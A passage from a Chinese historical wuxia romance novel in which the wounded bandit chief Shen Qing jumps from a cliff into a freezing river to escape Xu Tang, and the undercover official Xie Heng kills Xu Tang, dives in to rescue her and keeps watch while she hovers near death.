谢珩手上用力,替萧瑞扎紧最后一道伤口,起身头也不回往沈青消失的方向跑去。 “我跟着他。” 最后萧瑞在原地愣了须臾,总觉得哪里不对,但也容不得他想太多:“兄弟们先架着我起来,脚程快的兄弟先去报信喊援兵!” * 沈青的轻功独步天下,踏雪无痕,几乎无人能及。 谢珩本来就晚了一步,再去追寻,也杳无踪迹,只能沿着正常的路线一路往覆船山的方向追去。 他在全力追寻的时候,沈青已经翩然落在覆船山下一处坡顶,冷眼垂眸看着坡下,留在这里殿后的兄弟们都已经遇难,只剩赖三还在垂死抵抗,徐唐轻摇折扇,带着他身后的兄弟们步步紧逼。 “孟渊已经死了,我们……我们老大……马上就会来收拾你的!” 赖三站立不稳,屈膝跪在地上,手中那只舞起来虎虎生风的狼牙棒早就不知去向,只用双手死死撑着地面,口鼻中鲜血滴落不停。 徐唐唇边笑意微凝:“既然他不肯放过我,那就让他来,让他来亲眼看看你的尸体也是痛快!” 说罢,他将手中折扇一合,往身后做了个手势,身后兄弟蜂拥冲上来。 但谁也快不过那道青影,俯冲进人群,将冲在最前面的那几个人统统扫翻在地,最后落在赖三身前,手中斜斜一支,是路上随手折的一根竹竿。 方才横扫过来的腾腾杀意实在太猛锐,所有人都停了下来,看清来人后,更无人再敢上前。 “沈青!?”徐唐握紧了手中折扇,惊异于他竟然来得这么快。 沈青没有理他,急着去看赖三的情况,见到她,赖三终于撑不住,身子斜斜倒了下来,被她一把揽住。 “赖三,你坚持住,我来带你回去!” 赖三倒在沈青臂弯里,眼睛直愣愣望着那张清绝俊美的脸,以为是自己出现了幻觉:“老大,萧瑞……萧瑞……我把他送出去了,我可以瞑目了……” 莽山上下所有人都知道,萧瑞是沈青的弟弟,是沈青看得比自己命还重要的人。 沈青低头怒斥:“说什么傻话,你不是我兄弟吗?谁的命都一样重要!” 赖三被她斥得清醒几分,意识到眼前并不是幻觉,急得眼白都要翻出来:“老大,你快走……” “沈青啊沈青,原来你是——”徐唐笑意瘆然,确定了他的确是孤身一人,特地停顿了一下:“一个人来的啊?徐某虽然不济,但你未免也太看不起人了吧?” 沈青冷冷抬眸看他:“孟渊已经死了,我今日本没打算动你,你现在收手的话,我们一切还有转机。” “可是你现在只有一个人啊,而且还受了不少伤呢。说起来,认识你这么久,还真是第一次见你有这样狼狈的样子。” 沈青蹙着眉头,刚刚急着救赖三,拼尽全力使出杀招,身上伤口再次被崩开撕裂,她都能闻到自己身上新鲜的血腥味。 “今日我要是出什么意外,莽山的弟兄们可不会放过你。”她最后提醒道。 “哈哈哈哈,死到临头了还嘴硬,我最看不惯你这目中无人的模样,”徐唐发出恻恻大笑:“孟渊死了,你又伤成这样,没想到今日坐收渔利的人是我啊!” 此人心思缜密狡猾,缓兵之计对他没有用,沈青也懒得再多说话浪费力气,握紧手中竹竿缓缓站了起来。 “兄弟们,杀了沈青,拿下莽山!” 徐唐一声令下,身后的匪徒慢慢向沈青靠拢,但始终没有人敢第一个冲上去,气得他大喝:“愣着干什么!等下莽山的人都来了咱们就完了!他现在受着伤,赶紧上去把他杀了!” 看着沈青浑身血迹斑驳白着一张脸,众人咬咬牙,终于杀声大噪合力冲了上去,沈青挑着竹竿从容应战,与徐唐的手下们杀成一片。 只是纵然她武功再高,也知绝不是这样的打法,源源不断的围攻迅速消耗着她,她还要时不时护住赖三,最多坚持不过一刻。 眼见包围圈越缩越小,她一双秀眉也越蹙越紧。 忽然,一直倒地不起几乎半昏迷着的赖三瞪圆了眼,大喊了一声“老大小心”,窜地一下从地上爬起往沈青身上扑。 沈青猛地回头,一把本来要刺进她后背的尖刀,被赖三宽阔的背严实挡住,她趁势将他接了个满怀,用力一提,两人凌空而起,直接跃出包围。 “我们快走!” 她将赖三手臂往自己肩上一搭,几乎扛着他半个身子在往前跑,身后自然是徐唐带着人大呼小喝在后面穷追不舍。 也真是不得不感慨,赖三这一身腱子肉可真没白练,他这敦实的重量,恐怕谢十三跟萧瑞两个人加起来都抵不上,要是用来打架可真不错,用来逃命的话……可真是要命了。 关键是,两人一路跑着,身后的雪地上就留下一路淋漓的鲜血,也分不清哪是谁的血。 甚至中间好几次,她都能察觉到赖三情况非常不好,时不时……要断气了一般。 “赖三,你给我坚持住啊!就算死也要回小金顶才能死,你听到没有!我已经扛着你跑出来了……” 她忽然就顿住声音说不出话了,手上一松,两人齐齐栽倒在雪地上。 跑不动了是一回事,前面没有路了是另一回事! 沈青怎么也没想到,眼前竟然横着一处断崖,真是该怪自己,对覆船山的地形她真是不熟啊! 她绝望地趴在雪堆上,这雪贴在身上可真是冰啊,已经带人追上来的徐唐嘴角都要翘到天上去了:“沈青,看到了吧,这就是生死有命。不过你今日死在我手上,倒也不算亏。” 她白眼一翻,心想亏大了好吗?早知道这样,死在孟渊手上都还好点。 一想到自己一世英名,以后别人说起来,都会说她被徐唐杀了,这也太窝囊了吧! 能见到沈青在自己手下如丧家之犬一般狼狈,徐唐这会儿心里头得到了极大的满足,竟都有点舍不得把人弄死了。 “不过话又说回来,沈寨主的为人我还是挺钦佩的,明明可以独善其身,却非要舍身来救自己的属下,这份气魄,是值得钦佩。只不过呢,咱们明明都是土匪,你非要在这里充什么君子,这下好了,把命给玩没了吧?” 沈青听他在那里小人得志啰嗦半天,忽然竖直了耳朵。 断崖下是流水的声音? 覆船山,覆船山,如果没有水怎么覆船呢!?原来是这样! 徐唐说了半天,见她始终不吭一声,一副锐气丧尽的样子,嘲讽话说完也没什么意思,终于冷下脸来,示意手下直接动手。 几个手下举着兵器冲了过去,锃亮的刀刃劈下去瞬间,趴在地上的沈青翩然飞身而起,顺手还卷起一旁的赖三,两人直直扑向空荡荡的断崖。 “别让他们跑了!” 徐唐惊恐反应过来,一把抽过身边人手中的刀,猛地冲着两人背影飞出去。 沈青头也没回,在身体下坠的瞬间,张开双臂罩住了赖三。 “嘶——” 她闷哼一声,背上被利刃重重划破,锥心的痛,随后是身子“扑通”落水的声音。 萧瑞啊萧瑞,你可快点带兄弟们过来啊! 她在心底暗骂,可惜断崖还是有些高,水流也太急,她听不见断崖上有人在撕心大喊。 “沈青——” 第27章 第27章试图挽回她正在流逝的生…… 谢珩一路追到覆船山下,小心避开徐唐的人,但始终找不到沈青的踪迹,只在一处坡下看到了打斗痕迹。 循着打斗留下来的痕迹,还有一路的血迹,他心中越发不安,终于一路追到断崖边。 眼睁睁看到的便是沈青带着赖三飞身跳了下去,沈青背上还狠狠捱了一刀的画面。 他撕心喊出沈青的名字,冲过去扑倒在崖边,目之所及,断崖底下一片空空,迷雾濛濛。 时不时有冷风凛冽扑面而来,他脑海里亦是空空一片白茫茫。 沈青…… 徐唐被这突然扑出来的一道白影吓了一跳,看清来人绝世风华的容姿后,方才没有亲眼看见沈青被杀死的悔憾顿时变成贪婪的垂涎。 “这不是谢家的某位小公子吗?沈青从这里跳下去,肯定必死无疑了。从今往后你就跟了我吧,我可比他会怜香惜玉得多。” 他轻摇着折扇,目光直勾勾盯着断崖边的失魂公子,心中想的是,既然孟渊和沈青都死了,等他把他们手下那两座山头的兄弟们都合并了,一并投靠了谢珩,他找谢家讨要这么一个旁支的小公子,谢珩还会不同意? 可惜这小公子,浑然听不见他说话似的,整个人就这样直挺挺半跪在断崖边,绝世美玉,一触就要碎掉。 他纳罕起来:“按理说,你不是被沈青强掳上山的吗?怎么他死了,你还挺难过?” 白衣公子终于转头看他。 他对上的是一双世间罕有的绝美双眸,只是原本清凌幽深的眸子这会儿染上一层微红,有种无声地瘆人。 徐唐身子像被什么盯住,本能地想要跑,脚下却 怎么也迈不动步子。 “你说他死了?” 公子问他,明明平静的语气犹如千钧之力,他老老实实张嘴想答,喉咙里发不出一个字。 一根细如发线的银丝,已经缠紧他的脖颈。 求饶的话来不及说,颈上一凉,他能眼睁睁看到自己的血喷涌而出,直到身子重重倒地,也没能闭上那双惊恐的眼。 他身下的白雪,很快被染成一片红。 周遭也是死一般的寂静。 徐唐的那些手下,根本就没有看清发生了什么,自己老大就突然在眼前被杀死了?只是觉得眼前这个看起来颀瘦清隽的公子并没有太大威胁,徒然生变的情况下,齐齐举刀大喊着替寨主报仇。 谢珩连眼皮都没有抬一下。 乱刀还没有近身,周围雪堆中犹如有神兵天降,挡在谢珩身前,跟那群匪徒杀成一片,是一群身着暗红色朝廷官制制服的侍卫。 鸣山快步走到谢珩面前:“公子。” “谁让你们提前行动的?”谢珩没有看他,声音比这覆满山头的冰雪还要寒凉。 他的确是在徐唐身边安排了人手。 他的计划是,等沈青解决了孟渊,下山差不多与萧瑞汇合后,他的人会从中挑拨起两拨人的冲突,逼得沈青下手把徐唐也收拾了,绝不能让徐唐再次倒戈。 这样,让沈青先将两大山头收入囊中,他再对莽山徐徐图之,这样既能铲除渝州其他恶匪,而于双方来说,损耗最小。 他总觉得,聚首莽山的都非穷凶极恶之徒,该用最温和的方式来收服。 但是他安排的人,却提前动了手,全盘打乱一切。 鸣山见他周身肃杀之气实在骇人,忙低下了头,如实道:“是谢瑜公子察觉沈青还想争取徐唐,以免徐唐再次倒戈,所以才下令让我们的人提前动手,只有让沈青看到萧瑞死在了徐唐手上,他才会不惜一切代价杀了徐唐,我们才能完全坐收渔利。” 谢珩心口像是被什么狠抽了一下,谢瑜跟他的目标是一样的,如果是以前,他应该也会做出这样的决定,但是现在…… “谢瑜擅作主张,先回去自领五十军棍。” 他凉声开口,专注看向薄雾散去后的断崖,百丈之下,有奔腾水流,难怪他会这么果断跳下去。 从这里绕到断崖下要浪费的时辰太多,他摸索到两人刚刚跳下的位置,还有一滩血迹淋漓。 “把这里的人处理完就撤。” “啊,公子……” 鸣山的思绪还停留在他的前一句话,谢珩突然又交待,他刚想再多询问一句,突然睁大双目,眼睁睁看着自家公子在断崖前倾身一跃。 “公子——” 他急得大喊着扑过去,可惜连公子的一片衣袂都没有触到,等他人扑到崖边半个身子都探了出去,只看到湍急的水面上多出一朵水花,转瞬即逝。 * 这断崖比想象中还是要高了许多,耳畔有漫长的冷风呼啸后,身子才坠入水中,在水中沉了很深很深,整个人三魂七魄都要被撞碎了,直到冰冷刺骨之痛蔓延四肢百骸,沈青猛然恢复了些神志,用力浮出了水面。 这水未免也太冷了些吧!? 她知道自己身上是受了不少伤的,眼前是不断被染红后迅速流走的水流,却完全感受不到伤口的疼痛。 身体唯一的感受就是冷,与平日吹风受冻的冷也不一样,像是被万千锋利匕首割开血肉,将骨头都要一点一点碾成粉末,无一处不煎熬,无一处可逃。 “赖三!赖三!” 等好不容易在水中稳住身形,她仰着下巴在水面上露出小半颗脑袋来寻找赖三,只是她乍一听,自己用力喊出的声音变得微乎其微。 好在两人掉下来的时候没有被冲散太远,这时候也真是庆幸赖三体格子大,他从不远处浮出水面,沈青一眼就能看到,只可惜整个人紧闭着双眼,人事不省。 她撑开双臂向赖三游去,往前的每一寸,都像是在萃了毒的刀尖上滚过,疼得她牙关直打颤,好几次牙关都失控得咬上舌尖了,她只痛得麻木。 “赖三……” 靠近到赖三身边,她觉得自己已经用完了毕生所有力气,好在探出他尚有鼻息,让人勉强松了口气。 可是举目望着茫茫水面,流水湍急,寒气直冒,也真是很难让人生出希望。 “赖三……你……你可千万给我撑住啊……” 沈青打着寒颤,从牙关里挤出每一个字,手上毫无知觉,好几次伸出水面又落了回去,终于哆哆嗦嗦抽出赖三身上一根衣带子勾到了自己腕上。 “走……走了……” 她也不知道自己在跟谁说话,借着水的浮动,她拖着赖三,眼神渐渐麻木地只盯着一处岸边从雪堆里露出来的芦苇丛,一点一点极缓慢地靠过去。 有时好不容易靠过去一点,一个水浪翻涌过来,又生生退回几步。 她死咬着唇,血液似乎在身体里已经冻僵,唇都咬破了,也不见流血。 不过总算,她还是能看到河岸在离自己越来越近,只是她再也没有力气了。 她松开腕上衣带,铆足了全力,顺着水流的方向用力一推,赖三魁梧身形被水流一冲,稳稳夹在那簇芦苇丛里。 沈青艰难张了张嘴,再发不出声音来说话,浪头一罩,她瞬间被吞没。 * “沈青!” “沈青——” 谢珩一浮出水面,就大喊着沈青的名字,茫茫水流在眼前奔流而过,无人回应。 他不敢耽搁,双手尽力往前泅水,目光则在水面上四处搜寻打探,不放过任何一丝痕迹。 过了好一会儿,他才感受到水中刺骨的寒意,这寒意一下一下扎进他身体,似乎在发出声声质问,他竟然不想让那个莽山的匪首,他在渝州的心腹大患就这样死掉了? 他勉力强压着脑海中乱七八糟的念头,身体的动作在寒凉水中却渐渐失去章法。 怎么会找不见人呢? 他身上那么多伤,还要带着赖三,就算是铁打的身子,在这刺骨寒凉中,必然撑不了一刻。 在水中寸寸搜寻一阵,那双向来沉静的眸子中耐性在一点一点流失,在他眼中,手掌中淙淙而过的流水,都是沈青在消逝的生命力。 直到看见不远处水面上漂浮的青影,沾了水汽的清冷玉容上终于覆满慌乱。 “沈青!” 他哑声大喊她的名字扑了过去,撑开双臂将那抹青影揽入怀中,不料怀中骤然一空,他忙低头细看,原来是一团聚集的青萍。 他的心口也骤然空了一下,满脑子浮现的都是沈青单薄一只,冷冰冰浮在水中,最后被一只大浪卷走后杳无踪迹的场景。 谢珩茫然抬手抹了一把脸上的水珠,那样活生生的人……不会这样消失找不见的。 他重新站定身子,紧闭上双眼,重新再睁眼的时候,目中已然一片清明。 再动身的时候,坠崖的位置,水流的速度,去往的方向,都了然于胸,只需坚定而迅速向着心中判定的地方行进。 直到看到覆在水面上的那道单薄青影,随着水波浮浮沉沉。 “沈青……” 他生怕惊扰了她,最后的靠近,想冲过去忽然都踟蹰了起来。 * 沈青感觉自己在水里漂了很久很久。 其实身上的伤口真的没什么感觉,只是冷,锥心刺骨的冷。 说起来,今日应该是身上葵水的最后一天,打架杀人流些血什么的,倒是没有感觉很伤到,只是这落入冬日的寒水中,整个人才是被抽掉了魂,吊着一口气儿。 这吊着的一口气,刚才在水里跟赖三扑腾那么久,基本也耗完了。 本来她还指望着萧瑞赶紧带人杀回来,不然她跟赖三还是得死。 这下好了,别说痛了,她连一点冷都感受不到了。 可恶,大意了,今天不会真要交待在这儿了吧? 身 体不再属于自己,唯一能做的,就是努力瞪大了一双眼睛,可以看见高高的断崖上,逼仄地露出一点灰蒙蒙的天空。 她盯着一成不变的灰天,眼皮终于也开始撑不住。 希望以后外界传她的死讯,是说她受伤坠崖而亡,但千万可不能说是被徐唐逼着跳崖的! 还有那个挨千刀的谢珩,她都还没好好跟他较量过的,居然死在人家的算计之下,真是可恨!要是她变成孤魂野鬼了,非找他报仇不可。 至于萧瑞,她一直没有告诉过他的身世,如果他永远都不知道……那也是命定的造化了。 就是可惜了谢十三,她这辈子见过最好看的公子,她都还没有好好享受过美色的,真是让人死而有憾。 完了,还有最重要的一件事情,爹爹的遗愿她还没完成,沈家的香火在她手上断得死死的啊……等会要是见到爹爹,岂不是要被骂死? 不对,本来就已经死了,还怕什么! 这么一想,人顿时有了底气,连耳朵都能听见声音了! 是有人在喊她的名字! 她想再听仔细一些,忽然身体被一股大力猛地一下攥了过去。 看来又是一大波水浪,刚刚她已经翻挺过好几次这样的大浪了,这次是真挺不过去了。 不过这波浪潮并没有把她掀翻,也没有将她沉入水中,反而稳稳托住了她,她努力撑眼:“萧瑞?” 好像是听到了她的声音,来人才敢真正靠近凑了过来:“沈青,你……” 谢珩不自觉抬手,用手掌拂过她苍白骇人的脸颊,将几绺贴在她面颊的湿发拨开,那冰凉触觉他不敢再多用一丝力气:“我现在带你回去。” 沈青视线里渐渐看清那张湿漉漉的憔悴玉颜,感受到他掌心里冰凉的温度,她讷讷开口:“谢十三?” 刚说完,她又觉得不对:“可谢十三不是你这个难听声音。” 谢珩唇边不由得扯出一丝弧度,艰难地笑了笑:“我就是谢十三。” 他的声音确实哑得太难听了些。 不过沈青已经无力分辨,行吧,他说是谢十三就谢十三吧,她纤长睫毛如蝶翼般上下翻动两下,头一歪,又重新闭上了眼。 “沈青,别睡!” 谢珩低低喊了一声,将她搂进怀中迅速往岸边游去,怀中冰冷的温度,彻底浇灭了他刚才瞬间的欣慰。 一种短暂地失而复得之后转瞬又得而复失的恐惧在心底肆意蔓延,他憋着一口气终于到了岸边,先将沈青托了上去,自己再爬上岸,身体本来已经适应水中寒凉,忽然离水,被岸上冷风一吹,那凛冽刺骨实在比水中还要难捱百倍。 “沈青,沈青……” 谢珩半跪在雪中,将沈青重新揽在怀里,哆嗦着声音反复呼喊,可是怀里的人冰凉得毫无反应。 连这秀挺清绝的五官,都被水泡得浅淡了些,面容是煞白如雪的,嘴唇却冻得已呈青紫色。 两个湿漉漉的人拥在一起,无法给彼此传递一丝温暖。 等不到回应,谢珩手掌慢慢覆上沈青的面容,心里生出一丝绝望死气,他是一个唇红齿白的俊俏郎君,肯定不能这么难看地离开世间。 “沈青,你跟我说说话吧。” 他的声音甚至都带上了乞求,额前凌乱发梢水珠凝结,顺着发梢滴落下来,正好落在怀中苍白脸颊上。 “萧瑞是不是带人过来了?” 怀里的人忽然有了动静,他忙低头去看,只对上那双重新睁开的眸子,空荡荡的没有聚焦。 她双唇还嗫嚅着,谢珩俯身侧耳凑到她唇边,听见断断续续的声音:“不要……不要……久战,有诈,回……回小金顶……” 耳畔声音越来越低,谢珩再低头看时,那双眸子又重新合上,整个脸上都笼罩着一层死气。 谢珩心中绷着的那根弦彻底被扯断,这是他毕生从未有过的失措和慌乱,他小心又急切不停晃动着怀里人的肩膀,摩挲着她的脸颊,试图挽回她正流逝的生机。 “我一定带你回小金顶……” 第28章 第28章你们不可以给她换衣服!…… 鸣山率领着侍卫们赶到断崖下,简直不敢相信自己眼前所见景象。 向来雅正端方清冷孤傲的公子,这时湿漉一身散乱发髻,正无比狼狈跪坐在地上,一个人像失了心一般低头喃喃臆语些什么。 “公……公子……” 他小心翼翼靠近,谢珩闻声也抬眼看过来,清凌如水眸子里的支离破碎。 不过这下鸣山看清了,公子怀里有一个人,是悍匪沈青。 他回过神来,上前汇报:“公子,上面的人我们都解决了,现在萧瑞已经率众杀到覆船山来,两边人马应该马上就能发现徐唐已死。” “还有,这是沈青得力手下,刚刚属下沿河发现的。” 身后侍卫们将赖三抬了出来扔在地上,也是一脸死气,比沈青好不了多少。 “生火。” 谢珩果断下令,鸣山却不得不提醒他:“公子,萧瑞的人马上就到了,生火的话很快就会被他们发现……” 谢珩微蹙着眉头,鸣山连忙没敢多说下去,沈青和赖三这样的人物,公子自然要留活口才是,于是吩咐了手下,扫开谢珩面前的积雪,拾了带雪的柴草,好不容易生起一团直冒青烟的火堆。 谢珩抱着沈青往刚生起的火堆边靠近了些,火光憧憧,映照出两人脸上未干的水迹。 鸣山也立刻让人将赖三也搬到火堆边,就听见公子在说:“你们隐藏吧,我在这里等萧瑞,其他等我回小金顶再议。” “公子,您为何还要回小金顶?” 鸣山十分不解,毕竟孟渊和徐唐都已经死了,沈青又在他们手上,渝州几大最强的山匪势力今日算是一网打尽,剩下的乌合之众都不成气候,公子还想做什么呢? “你不用管。”谢珩声音还哑着,语气依然不容置疑,只是他落在沈青脸上的目光,是柔和的。 无论如何,他醒来的第一眼,一定得是小金顶木屋窗外,茫茫千山覆白雪。 身前的火堆燃了起来更加明亮,憧憧火光跳跃间,鸣山望着公子俊逸分明的侧颜明明暗暗,忽然敏锐地察觉到一丝晦暗不明的情愫,一个想法在他心里翻涌而出,再压抑不住。 “公子,有沈青在我们手上,萧瑞和莽山其他人不会再敢轻举妄动了。趁他们还没来,我们赶紧回刺史府,这里一切都结束了,只要沈青在刺史府一日,就不怕莽山不接受招安。” 鸣山极少违背公子的指令,这一次,最简单的道理,他都说得无比苦口婆心。 谢珩像是被说得拉回了一点理智,清俊的面容上展露出尤为凝重的迟疑,但他的目光自始至终没有离开过怀里的人。 这张脸还是白得杳无一丝生机,身子也是冰冷僵硬的,他真的还能活得下来吗? 他几乎是瞬间做出决定,一定要带他回小金顶。 他抿了抿同样惨白如纸的唇,缓声开口:“莽山之流并非都大奸大恶之徒,此时他们已经是疲惫之师,暂且先撤,不要逼到他们山穷水尽,不利于我们招安。” 鸣山单膝跪了下来:“可是沈青就在我们手上,这是我们来渝州剿匪以来最大的优势,难道就要白白放虎归山吗?” 火堆中,那些沾了湿雪的柴草被烤干,炸出噼里啪啦的火光,鸣山执拗地半跪着纹丝不动。 不远处零零碎碎有了不属于他们的脚步,谢珩目光凌凌扫向鸣山,同时出手的还有袖中银丝,瞬间在他腰上缠绕几圈。 他声音骤然寒凉:“不依令行事,别怪我就地处决。” 话音刚落,鸣山整个人就被甩出好几丈外,重重摔倒在皑皑雪地上。 “回去告诉谢瑜,擅自行事,今日没有酿成大祸,五十军棍也就罢了,若是无力回天,那就军法处置。” 鸣山艰难抬眼,对上不远处手持银丝的主人,是 他第一次在公子眼中,看到对他展露的杀意。 他不能理解公子所说的“酿成大祸”和“无力回天”,到底是指剿匪还是指沈青…… 他压抑住心中那个越发诡异的念头,知道僵持下去也无法再动摇公子的决定,只好吐出几个字:“属下……听令。” 与他们突然神兵天降地出现一般,所有侍卫就地隐藏撤退的时候,也快得了无痕迹。 “大哥!大哥——” 鸣山带着侍卫们刚撤下,萧瑞已经被兄弟们架着,一瘸一拐赶了过来。 身后还有岳瑛竟然也一脸担忧地跟了过来,为了能跟上萧瑞,她弃了牛车,委地的裙摆被白雪浸得濡湿。 两个人一下就看到谢珩怀中一脸死气的沈青,双双傻了眼。 “我大哥……他……他这是……”萧瑞一句完整的话都说不出来。 “还有脉搏。” 谢珩这会儿格外冷静下来,松开沈青的手腕,因为一直紧扣着感受他的脉搏,这会儿他那同样白得没有血色的手腕都被勒出浅红的指印。 “先去找几身干衣裳来。”他一边吩咐着,一边抬手从沈青衣襟处开始解扣,第一颗盘扣还未解开,忽然余光里扑过来一道娟秀身影,双手用力紧紧攥着他的手腕,不允许他继续手上的动作。 岳瑛的眼神里有种说不出的戒备:“你要给她换衣服?” 这眼神让谢珩有些不舒服,介于她到底是沈青的夫人,他还算耐心解释:“柴火都燃起来了,趁现在赶紧把湿衣服换下来。” 没想到岳瑛眼中的戒备更甚,连语气中都带上了一丝排斥和惊恐:“不行!你们不可以给她换衣服!” 谢珩语气也严肃了起来:“不把衣服换下,他会被冻死。” 说着,他也不再顾岳瑛阻拦,继续手上动作。 “不行!你放开!” 岳瑛几乎是冲着他吼了起来,铆足了全身的劲儿将谢珩往后面推,发现推他不动,于是干脆就拼了命将沈青往自己怀里拽。 谢珩没想到她会有这么大反应,怕拉扯间伤到怀里的人,只好暂时卸了手上的力气,让岳瑛把沈青拽过去,护犊儿一般紧紧抱在怀里。 萧瑞见势不对,带上几个兄弟围了上来:“嫂子,你这是什么意思?” 岳瑛只抱着沈青,脸色惨白得比沈青也好不到哪里去,嗫嚅着双唇始终说不出话来。虽然平日里莽山的兄弟们对她还算客气,可是事关沈青的性命安危,那他们可不会对她客气了…… 好在谢珩看出岳瑛大概是关心则乱,迫切想要保护沈青而失态,于是问她:“夫人想要怎么样?不妨说出来,我们照做。” 岳瑛如抓住一根救命稻草:“拿一张帷布来挡着,我一个人来给她换衣裳。” 萧瑞苦丧着脸不耐烦:“这时候我上哪弄帷布去?” 大男人的,换个衣服,谁讲究这个? 岳瑛却很坚决:“阿青这几日身上的怪病还没好全,只能我一个人来换。” 一说到那怪病,萧瑞无话可说,还真就去找了一张勉勉强强的帷布在火边架上,让岳瑛在这里给沈青单独换衣服。 隔着帷布,火光只能隐隐映照出模糊人影,谢珩忙别开了眼,不知为何,明明人是他救上来的,这会儿却交给了别人,心里总有种莫名的不甘,像是事情没有完成好。 后面追寻过来的兄弟们把牛车也赶了过来,岳瑛没有耽搁,很快替沈青将衣裳换好,再粗略包扎过伤口后,着人将她抱上牛车后,自己也上了牛车,用一张氅衣盖在两人身上,两人继续紧紧依偎着。 赖三也被兄弟们换了一身衣裳,将他搬上了牛车。 谢珩还是一身湿衣,只是在外面披上一件氅衣,像来时那样,坐在沈青和岳瑛身边。 “这里情况不对,恐怕有诈,我们先回小金顶吧。” 他提醒萧瑞,萧瑞环视了一下四周若有似无的诡异痕迹,也意识到除了徐唐的人,可能还有第三方暗中插手,只派了些兄弟善后,其他人果断撤离。 兄弟们没有灭了两座山头打了胜仗的喜悦,牛车在雪地里赶紧赶慢,一路印下沉重的深痕。 谢珩坐在牛车边,一路仔细留心着沈青的点滴状况,可惜此时的岳瑛如一只惊弓之鸟,护着始终让人近不得身。 一张乌羽氅衣盖在两人身上,露出来的两张脸同样都被衬得秀白,一个娟丽惶恐,一个枯萎失色。 隔着氅衣遮挡,谢珩也想象得出,氅衣下两人是怎样紧紧相拥在一起,岳瑛是怎样抱着沈青不肯松手的样子。 沈青虽然还昏死着,似乎是能感受到包裹着自己的温度,明明没有意识,却也要半偏着头,正好依偎在岳瑛的肩上。 原来这便是世上夫妻的相濡以沫? 天色渐渐暮去,谢珩微垂的眼睫上沾染了几片被冷风裹挟吹来的雪花,一身湿衣总也觉得不似太冷。 他茫然回忆着自己平日里与沈青相处的点滴,总觉得沈青对岳瑛甚至还不如对自己这般热络亲密,原来是要在紧要关头才能体现出,她们是彼此互相惦记的第一人。 而他,始终都只是一个外人。 离小金顶越来越近,岳瑛也渐渐放松下来,慢慢闭上双目,也偏头与沈青靠在一起。牛车一晃一晃,两只脑袋始终凑在一起,阖目安睡。 谢珩在心底喟然轻叹了一声,默然解下身上这件唯一取暖的氅衣,轻轻覆在两人身上又多盖了一层。 当他凑近一些,想替沈青将肩头的氅衣掖紧点,忽然嗅到她身上血腥味尤重,忙侧目去看,牛车的木板上,不知何时又多了一滩鲜红血迹。 他骇然去探她的鼻息,连探了好几次,指尖都是虚无一片。 “沈青!你醒醒!” 第29章 第29章谢十三,你竟然为我殉情…… 小金顶上崖高雪深,厚重牛车终于行到谷口,谢珩一把将沈青横抱起来跃下牛车,低头不断唤她名字在深雪里小跑了一路,直到将她安置回房中榻上,也没有得到半丝回应。 有好几次,他扣着那只冰凉手腕,却探不到跳动的脉搏。 直到岳瑛带着寨里老郎中过来,将他请出房门,他才感受到自己指尖同样冰冷的凉意。 他回眸望一眼灰扑扑的木门紧紧合上,分明是在看鬼门关。 跟过来兄弟们也都屏气敛声守在门口,不敢离开,萧瑞急得瘸着一条腿,踱来踱去快把脚下雪堆都踩化了。 “萧瑞,”无比压抑焦灼的氛围中,谢珩忽然开口:“不少兄弟们都有伤在身,你先带兄弟们回去休整,清点伤亡情况,还有覆船山和凤眼山的善后也刻不容缓,这些重要的事情都落在你身上了。” 他压抑着情绪,让自己声音尽可能徐徐从容些,萧瑞也在不自觉间,完全听从于他,只是因记挂沈青而为难:“可是,我大哥……” “正因如此,你更要独当一面。如果谢珩现在知道沈青重伤,你说他会不会趁机来攻山?” 这话说得让人醍醐灌顶,莽山一天之内与另外两座山头经历了两场大战,大哥又重伤不醒,这时候趁虚而入是千载难逢的好时机。 萧瑞连忙正了脸色:“我知道要怎么做了。” 等他带着兄弟们都离开,木门前又只剩下谢珩伶仃一只的身影,他终于觉得耳边彻底清净了下来。 天色渐渐变暗,终于被黑夜笼罩,寨子里有屋角昏昏点上油灯,也点不亮越来越深的黑夜。 房中也不是全然没有动静,偶尔门会吱呀开一下,然后端出一盆猩红血水。 大半宿过去,谢珩根本没敢细数,到底从里面出来几盆血水。 深深夜色里,一轮朗朗明月忽然破云而出,照得天边云层明亮,山间雪色 清亮。 寂月无声,也照映着仰头望月的清冷绝色。 自从来了小金顶,莽山上总是阴风冷雪的天气,他只在这山头,见过一次月亮。他还记得那一天的月色照映,沈青坐在瀑布边,大咧咧跟他说着“盗贼本王臣”的道理。 那天一起望月的人,不知能不能熬过今天的月夜。 回来的路上,他已经被刺骨的冷风剜骨割肉般质问了很多次,他怎么能眼睁睁看着自己亲手放走了一个收服莽山的机会呢? 他近乎虔诚而卑微地立在月下,剿匪,圣旨,谢家,所有纷纭在脑海中只汇聚成一个唯一的念头,沈青一定要活下来。 他一定要好好活下来。 他只求他好好活下来。 忽然木门再次从里面被打开,倾泻出一地昏黄灯光,本以为又是老郎中端了一盆血水出来,灯影里走出一道倩影,没想到是岳瑛。 他忙开口要问沈青的情况,话到嘴边忽然不敢问出来,只抬眼沉默地细看岳瑛表情。 “若能熬过今晚,或许还有生机。” 岳瑛蹙着眉,情况实在不乐观。 这话对谢珩来说简直如得大赦,至少他此刻还活着。 “那我现在可以进去看看他吗?” 他盯着岳瑛,目光变得锐利,若这次再阻拦他,他也不会再理会了。 好在岳瑛这会儿平静了许多,她迟疑地望着谢珩:“不如你先去换身衣裳?” 眼前丰神俊逸的公子,再无往日半点风华,苍白黯淡,支离憔悴。 被她这么一问,谢珩才惊觉自己一身湿衣未换,在冰天雪地的冷风里站了半宿,连里里外外的湿衣都差不多半干了,这会儿才真正觉得通身冰寒起来。 嘴上却说:“不必,我先进去看一眼。” 岳瑛半拦住他:“阿青今日本就受了寒,你又带一身寒气进去?” 平日里心思这么细密的一个人,这会儿倒是什么也不想了? 谢珩这才恍然,忙回自己木屋里换了一身衣服,再前往沈青这边,想到方才往返路上又沾了些风雪,进门后先远远里在暖炉边又仔细将自己身前身后都烘暖了,才敢往榻边去。 沈青的身子淹没在厚厚的被褥里,只露出一张虚白的小脸。 谢珩想起平日里跟他同塌而眠的时候,他喜欢只薄薄盖一床毯子,结果每次睡着了,要么就是把他的被子全部卷走,要么就是一个劲往他身上扒拉。 这下可老实了。 他在心底解气地冷笑一声,撩开衣摆在榻边坐了下来。 榻上的人看起来还是没有一丝生气,无声地被裹在被褥里,不知道何时会突然睁开双目,也不知何时会彻底断了呼吸。 床头案上还放了一碗温热的药,岳瑛提醒他:“不能让她这样生捱着,总得喂些药水进去才行。今晚这药温了好几遍,什么法子都试了,一滴也喂不进去。” 谢珩闻言,抬手取了药碗,盯着沈青的沉沉睡颜看了须臾,才抬手用药水沾湿了木勺,再用木勺轻轻在她的唇间浸润了一遍。 